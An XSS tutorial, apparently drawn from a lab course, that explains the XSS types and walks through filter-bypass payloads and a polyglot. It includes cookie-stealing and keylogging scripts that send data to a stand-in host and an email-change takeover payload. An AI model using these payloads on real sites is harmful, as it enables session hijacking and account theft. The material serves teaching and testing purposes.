CROSS-SITE SCRIPTING

EXPLOITATION

Cross-site scripting, also known as XSS in cybersecurity, is classified as a type of injection attack where malicious JavaScript gets injected into a web application with the intention of having it be executed by someone else.

These types of vulnerabilities are extremely common and can be found in even massive applications. There is a large financial incentive in finding and reporting these vulnerabilities. Similarly, there is a lot of money to be made by hackers willing to exploit these vulnerabilities maliciously and sell sensitive data on the dark web.

This article explains why XSS is still a huge issue in web security.

Before we get into it, we have to first understand what an XSS payload is and how it works.

XSS PAYLOADS

An XSS payload is a term used to describe the malicious JavaScript code that will be executed on a target's machine.

The term payload originally was used to describe the money-earning cargo of a vehicle. Over time, this term transformed to describe the explosive load in a missile or the bombs being carried by planes in war - in other words, it's used to describe some kind of destructive cargo being transported.

This connotation makes sense when you consider that an XSS payload is a string of malicious code to be transported to a target for the exploit to be achieved. While it doesn't have the physically destructive power of a bomb, a coded payload could still have the potential to cause untold harm. This harm can happen psychologically, financially, and in some cases, as with Stuxnet, a coded payload could even cause the same kind of real-world physical damage as a bomb would.

There are two main things to consider with an XSS payload, the first is the intention and the second is the modification.

The intention is what you want the JavaScript to accomplish or the purpose of the exploit and the modification refers to any changes that need to be made to the code to make it execute correctly. Payload modifications will be discussed in greater detail later but here are some common intentions:


  • Proof of Concept: This payload is the simplest kind. To achieve a proof of concept, all you have to show is that you can achieve XSS on a website. A simple way to do this is to make a simple box with text pop up on the screen, but this could be done with any indicator to demonstrate that the site will allow for code injection and execution.

Example: <script>alert('XSS');</script>


  • Session Stealing: This is a term for taking over a target's online session. Websites use cookies to save information about a user's session such as login tokens, preferences, and permissions. A session stealing payload could steal that target's cookie and use it when accessing a website to enter the target user's saves session. This would allow an attacker to "impersonate" the target to the host server have access to their information and account privileges. The example below steals the cookie and base64 encodes it for compatibility with the target website.

Example: <script>fetch('https://hacker.com/steal?cookie=' + btoa(document.cookie));</script>


  • Key Logger: XSS payloads can be created to capture keystrokes the target user types on their keyboard. While this may not seem as immediately threatening as other exploits, consider how many times you type sensitive information such as passwords, credit card numbers, and other types of personal or private data.

Example: <script>document.onkeypress = function(e) { fetch('https://hacker.com/log?key=' + btoa(e.key) );}</script>


  • Business Logic: This type of payload uses an established network resource or JavaScript function to achieve an unintended result to the benefit of the attacker. This is similar to a SSRF since an internal function is being used against the system, although in this case, we are focused on an injected JavaScript payload, rather than manipulation of an HTTP URL. The example below shows a payload designed to change a user's email address. Doing this could allow a password recovery email to be sent to the attacker's own inbox and thus gain access to the target's account.

Example: <script>user.changeEmail('attacker@hacker.com');</script>

And now at look at the three main types of XSS exploits , Type I, II, and 0

TYPE I - STORED XSS

Also known as persistent XSS, the payload or input in this type of XSS is stored on the web application itself and executes when another user visits the web page. The payload can be stored in a database, message forum, visitor log, comment field, etc. Many websites have defenses built in so that text input in the form of script is filtered out or nullified, but this is not always the case.

Example:

  1. An attacker finds a website that allows them to post comments. They type in JavaScript that would steal a victim's cookie and send it to the attacker if it ran on a victim's browser.

  2. The script sits in the website's database. By design, the website's script will print the latest comment in a user's browser.

  3. A victim visits the website with the payload stored in the database. Without any input on their part, other than visiting the site, the "latest comment" prints on their browser. This particular site does not validate the script that was entered and runs in the database. Since this "comment" is a JavaScript command, not plaintext, it runs on the victim's browser.

  4. The victim's cookie is sent as a GET request to the attacker's server as this was the location and action specified by the payload.

BLIND XSS

This is a similar type as stored XSS. Similar to stored XSS, in a blind XSS the payload gets stored in a website that the victim will visit to trigger, but unlike a regular stored XSS, the attacker cannot see the payload working or be able to test it first.

A good way to know if a blind payload is being executed is to ensure it has a call back (usually an HTTP request).

XSS Hunter is a good tool for Blind XSS attacks which can automatically capture cookies, URLs, page contents, and more.

TYPE II - REFLECTED XSS

Also known as non-persistent XSS, this occurs when an HTTP request is made with user-supplied data without any validation. If a user can enter input into a website, and that input is reflected and allowed to run in the webpage source it could run a malicious payload. This is often exploited by sending a link to a victim with a modified URL which would automatically run the payload as input when the victim visits the target website.

Example:

  1. An attacker finds out that a website can run JavaScript when submitted as input in a search bar on the homepage. They craft a URL http://website/search?keyword=<script>(cookie stealing payload)</script>. They send this link to the victim in a text message.

  2. The victim clicks on the link which a. takes the victim to the target website and b. inserts the malicious payload as a search term on the website. The "?" starts a query string, it defines the keyword that will be searched on the website.

  3. The malicious script runs in the website's source code since the website did not validate the search input.

  4. The script sends the victim's cookie with a GET request to the attacker's server as this was the location and action specified by the payload.


TYPE 0 - DOM BASED XSS

DOM is an acronym for Document Object Model. This is a logical structure of the website and it defines the ways that documents and elemnts inside the structure are accessed and manipulated.

Let's take a look at this example from w3.org:


This is a table taken from an HTML document.

<TABLE>
<TBODY>
<TR>
<TD>Shady Grove</TD>
<TD>Aeolian</TD>
</TR>
<TR>
<TD>Over the River, Charlie</TD>
<TD>Dorian</TD>
</TR>
</TBODY>
</TABLE>


The DOM represents this table like this:

As the name implies, a DOM based XSS attack is a result of modifying the DOM "environment" in the victim's browser. As opposed to the other types of XSS injections where the payload is run by the website or through the target page's server, DOM based XSS runs completely in the victim's browser due to malicious modifications in the DOM environment that cause the client-side code to execute differently.

Think of this metaphor: instead of poisoning the well, you poison a person's cup. The well water is perfectly fine, but when it mixes with the poison in the person's cup, it does become poisonous.

Because of the reliance of this exploit running on the client's side, there is a push to reclassify DOM XSS as CLIENT SIDE XSS instead. You may hear it referred to it in both ways.

For more detailed information and a breakdown of a DOM XSS attack, check out this OWASP article.

PAYLOAD MODIFICATIONS

Creating a payload is a matter of considering the intention, but if it doesn't execute because of any type of input filtering or XSS protection on the website, then it's useless.

Because of this, using the alert() method is a good proof-of-concept since if the alert triggers, you know you've got a way to run JavaScript. If the alert doesn't trigger, it's good to check the source code along with any output that the website displays. Searching the input text in the source code will show how the code was executed. Here are some common issues and workarounds in the TryHackme XSS lab:

For these examples we will be trying to have an alert trigger on a website using the following payload: <script>alert('SUCCESS');</script>

The result of this code executing will be a popup alert on the site that reads: SUCCESS


For this example, let's say we are accessing a page with a simple user input box where you can enter your name and have it display on the website after you enter it. This is the site's intended use of this text input box.

But, since we are discussing hacking, we want to see what happens when we enter JavaScript and see if it executes the code on the page. There are lots of factors that will determine what happens to the input and whether or not it runs in the source code when entered. Here are some different possibilities.

  1. NO PROTECTIONS

For the first example, let's pretend that a website has absolutely no verification, input filtering, or protection against a user submitting. If we enter <script>alert('SUCCESS');</script> we would see an alert pop up right away. This is the best-case scenario for hackers looking for a way in.

If you look at the source code after submitting the payload you may see something like this:

<div class="text-center">
<h2>Hello,
<script>alert('SUCCESS');</script></h2>
</div>

This shows that the user input is added into the HTML <h2> text string without modification. Adding the <script> element in HTML is used to embed executable JavaScript code, so even though it's nested in the <h2> element, as soon as the site reaches the payload, it'll execute it and output "Hello," since the payload isn't being run as a test string in h2 as is intended.


  1. INPUT TAG

This is a very common way of creating input fields in HTML. If the page is set up to add the user input as an input value, the JavaScript alert would not run. If you looked at the source code after, you would see something like this:

<div class="text-center">
<h2>Hello, <i
nput value= "<script>alert('SUCCESS');</script>"></h2>
</div>

If you know enough about HTML, you'll see the issue here. The payload is being entered inside of an input element between two quotation marks. Since the script tag is inside of an unfinished input tag, the HTML will not run the script.

To get around this issue, we need to get our code outside of the input tag. How can we do this? Let's take advantage of what we know about HTML to trick the website into running the JavaScript.

HTML elements are bracketed by tags, which mark the beginning and the end of the element and contain it. The browser won't run another HTML element until the previous one has ended.

The input element in question begins with < and ends with >. Everything inside these brackets will be part of the input element. So in order to escape the tag, let's add a "> to the beginning of our payload. Our new payload with the addition being underlined now looks like this:

"><script>alert('SUCCESS');</script>

If entered into the name input field, we would see a succesful proof of concept because the source code would show the following:

<div class="text-center">
<h2>Hello,
<input value= ""><script>alert('SUCCESS');</script></h2>
</div>

The addition to our payload effectively closes the input value element with the input being empty. Once this input value is closed, the payload script is able to run consecutively without the website running it as a value in the input field.


  1. TEXTAREA TAG

For this example, we are looking at the textarea tag. If used, the payload would fail and the source code would show us why.

<div class="text-center">
<h2>Hello, <textarea>
<script>alert('SUCCESS');</script></textarea></h2>

Similar to the input tag, the payload is intert because it's being safely contained inside the text area tags and running as a harmless string. Like the previous example, we have to escape this tag. Unlike the input element, closing the text area element requires a </textarea> tag, as you can see above. So let's modify out payload to close the tag before the script begins. Again, the change is underlined.

</textarea><script>alert('SUCCESS');</script>

Running this modified payload would succeed, and the source code would show us why:

<div class="text-center">
<h2>Hello,
<textarea></textarea><script>alert('SUCCESS');</script></textarea></h2>
</div>

Our modification closes the text area element then runs our script. The extra </textarea> tag tacked onto the end is pointless because we already ended it before the script ran.


  1. JAVASCRIPT IN JAVASCRIPT

So far, all of these examples have revolved around using basic knowlege of closing HTML element tags to escape them and have our JavaScript payload run outside of the element it should have been contained inside of.

But what happens if the text input field is not being defined by an HTML element, but is instead reflected inside of some JavaScript code? This requires some knoledge of JavaScript to get around.

For this example, let's say the proof of concept fails. You look at the source code after submitting the payload you may see something like this:

<script>
document.getElementsByClassName('name')[0].innerHTML=' <script>alert('SUCCESS');</script>';

</script>

A good way to approach this solution would be to analyze any helpful patterns. Previous solutions had us tack on a modification before our payload that would effectively close out any container the payload would be trapped inside of so it can run. Even if you don't know JavaScript, there's a lot we can learn just by looking at the structure of the code. Trial and error is also a helpful method in payload modifications. So it's important to be analytic and patient, as solutions won't always be easy or obvious.

The first thing you should notice is that the payload is followed by this segment of code: ';

The next logical step would be to assume that this is what concludes this JavaScript command. Similarly, we can see the JavaScript in our own payload does indeed include a ; after the alert command, so we're definitely onto something. So let's make our modification, again it will be underlined:

';<script>alert('SUCCESS');</script>

However, running this payload fails, so we have to look beyond the command and see if there's anything else that could be preventing our payload from running.

Looking at the JavaScript segment of the code again, we can see the script beginning and end tags sandwiching this entire chunk of JavaScript code. This gives us two logical options. We could either close the previous script tag, then run out payload in a seperate script tag, or we can remove the script tags and try to run it as a seperate command inside of the same script tags.

The first option seems like the more intuitive one following the logic of the previous methods, so let's start with that. We know that the our <script> tag is redundant because there's already an open <script> tag at the beginning of the JavaScript segment, so let's close that one out with an end tag first and see what happens.

';</script><script>alert('SUCCESS');</script>

And success! The alert triggers and the proof of concept works!

But this approach creates two seperate JavaScript blocks and is a bit clunky, codewise. What if we tried to run the alert as a seperate command inside of the same JavaScript segment? It's possible, but requires additional knowledge.

Let's remove the script tags from our payload and keep the '; which we used to escape the previous command.

';alert('SUCCESS');

This approach is more elegant, but it fails as it is written

Looking at the source code will tell us why.

<script>
document.getElementsByClassName('name')[0].innerHTML='';alert('SUCCESS');
';
</script>

The command is still tacking on the closing syntax of '; at the end of our payload even though we already thought we accounted for this by tacking it to the front. The result is that the payload fauls to run outside the command because the following two symbols are keeping it trapped in the document.getElementsByClassName command.

If only we could get rid of those pesky character after the code, we should be okay.

There is a way to do this in JavaScript, and this is why being familiar with web code commands can go a long way when pentesting web applications. Adding // to a line of code in JavaScript turns everything after it on that line into a single line comment.

Developers often use this method to leave themselves notes and comments. Since they aren't recognized as code, there's no dangero f it breaking or modifyign the code itself.

So let's add a // to the end of our payload. This should turn that pesky command end segment after our payload into a comment, which will not run as code.

';alert('SUCCESS');//

And success! Adding the comment syntax was able to render the command end into a comment and thus help our payload run as a separate command.


  1. INPUT FILTERING

For this example, we are looking at input filtering. If used, the payload would fail and the source code would show us why.

<div class="text-center">
<h2>Hello, <textarea>
<>alert('SUCCESS');</></textarea></h2>
</div>

What's wrong with this picture? Well, we can see that the output of our payload in the source code is missing the word script from the payload. It's as if it was plucked right out of the payload to diffuse it. This is an example of a protection from XSS which removes certain key words from common XSS payloads to render them ineffective.

So how can we get around this filter. Maybe the filter only deletes the first instance of the word script in a tag. Let's start by adding in an extra script, just to see what happens.

<scriptscript>alert('SUCCESS');</scriptscript>

Doing this would result in a failure, and the source code would look the same as when we ran the original payload. This may seem like we didn't get anywhere, but it teaches us that the filter most likely deletes any and all instances of the text "string" present in the payload. In fact, you can add string as many times as you want but the filter will catch them all, and most filters are designed to work this way.

So now we have to think outside the box, or in this case, maybe we should think inside the box. How do comptuers and programs work? Well, most computers are designed to follow specific instructions to the T. Humans are much better at catching deviations than computers. There are types of machine learning AI that can recognize larger patterns but for the most part, if a computer program isn't explicitly told to do something, it won't do it.

What am I getting at?

Well, the filter will only block what it's programmed to, and it would be exceedingly complicated for it to block every single configuration that could lead to a executable payload. We know that the string of text "script" will be eliminated from the inital payload. Can we take what we know and re-write our payload so that it will read correctly after the filtering, but not before?

What if we added in an extra script in each tag, as we did before, but instead of writing out the whole word before or after we split it into two pieces. Like this:

<sscriptcript>alert('SUCCESS');</sscriptcript>

The underlined portion is what we expect the filter to delete, but if it only runs this check once, then the s and cript should come together after the filter deletion and leave us with the intended payload:

<script>alert('SUCCESS');</script>

in many cases, this will work. Why? Because the filter catches the two "scripts" in the payload, erases them, and executes the code. If you break up script, as we did here, into s and cript, it will not trip the filter and allow those pieces of text to pass unharmed into the final code where they merge together after the removal of the word "script" that used to seperate both pieces.

The first step to fooling an input filter is to find out what words or characters are filtered, how they're filtered, and then to figure out a way to modify the payload that will still execute even after it's passed through the filter as we did here.


  1. IMG TAG

Finally, we are going to look at a specific way to run an XSS exploit when an IMG tag is present in the HTML of the source code of the website.

Let's say there's an input field where you can enter the name of an image file to display

<div class="text-center">
<h2>
Your Picture</h2>
<img src="
scriptalert('SUCCESS');/script">

</div>

The red text shows what's left of our payload. There's two major things you should be able to see:

  1. The payload has had it's brackets < > filtered out.

  2. It's nested inside of the image source (<img src="">) tag.

Tryign to escape the IMG tag by adding "> would be the next logical solution, but since we've seen that the input filters brackets, that won't work either.

But if you're familiar with the IMG tag, then there's another attribute we can take advantage of to run our payload and this is the onload event. The onload event is used to executre JavaScript immediatly after the page has been loaded.

Since we know that this input field is looking for an image to display let's start by giving it a valid image file, then once this image is accepted inside of the IMG tag, we can add the onload event since it has no need for brackets.

/images/sample.jpg" onload="alert('SUCCESS');

The image file can be anything, in this example we are assuming there is an jpg image called sample in the /images/ subdirectory of the website. By including a valid image file, the IMG tag requirement is fulfilled and the image can load. Then we run the onload command seperately. Since it's designed to run JavaScript commands, there's no need to add the script tags, and thus we get around the bracket filtering problem.

Entering this input in the text box would load the image and immediatly run our JavaScript payload, which is now a command running after the onload event.


XSS POLYGLOTS

An XSS Polyglot is a string of text designed to escape many types of attributes, tags, and bypass filters all in one go. It's a way to brute force a payload into running instead of crafting a modification based on analysis of the source code or careful trial and error.

An example of a polyglot: jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('TESTING') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('TESTING')//>\x3e

Entering this in as input in a text field will bypass a large number of defenses against XSS and will display an alert window with the text: TESTING.

Doing so will only trigger an alert, which is intended as a proof-of-concept that an XSS vulnerability exists on that website, but if you can trigger an alert using this method, that means that other XSS exploits are possible and can be exploited.